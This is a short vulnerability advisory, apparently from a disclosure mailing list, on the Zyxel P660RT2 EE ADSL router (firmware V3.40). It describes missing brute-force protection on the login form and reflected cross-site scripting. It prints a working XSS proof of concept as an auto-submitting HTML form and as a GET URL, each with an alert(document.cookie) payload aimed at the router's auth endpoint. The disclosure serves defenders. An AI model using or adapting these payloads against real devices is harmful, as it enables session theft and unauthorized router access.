Zyxel P660RT2 EE ADSL Router Brute Force/XSS vulnerabilitie

`Hello list!  
  
These are Brute Force and Cross-Site Scripting vulnerabilities in Zyxel  
P660RT2 EE ADSL Router.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable is the next model: Zyxel P660RT2 EE. ZyNOS Firmware Version:  
V3.40 (AXN.1). This model with other firmware versions also must be  
vulnerable. Zyxel ignored all vulnerabilities in this device and still  
didn't fix them.  
  
----------  
Details:  
----------  
  
Brute Force (WASC-11):  
  
In login form http://192.168.1.1 there is no protection against Brute Force  
attacks. Also there is no username, only password. And taking into account,  
that password automatically is put into login form, then at access via LAN  
there is no need to pick up password at all.  
  
Cross-Site Scripting (WASC-08):  
  
Attack is going via parameter with arbitrary name (as existent, as  
fictitious, like with name "1" in this example and even without name in case  
of GET request).  
  
Zyxel P660RT2 EE XSS.html  
  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://192.168.1.1/Forms/rpAuth_1" method="post">  
<input type="hidden" name="1" value="<body onload=alert(document.cookie)>">  
</form>  
</body>  
  
XSS attack can be made as via POST, as via GET request:  
  
http://192.168.1.1/Forms/rpAuth_1?=%3Cbody%20onload=alert(document.cookie)%3E
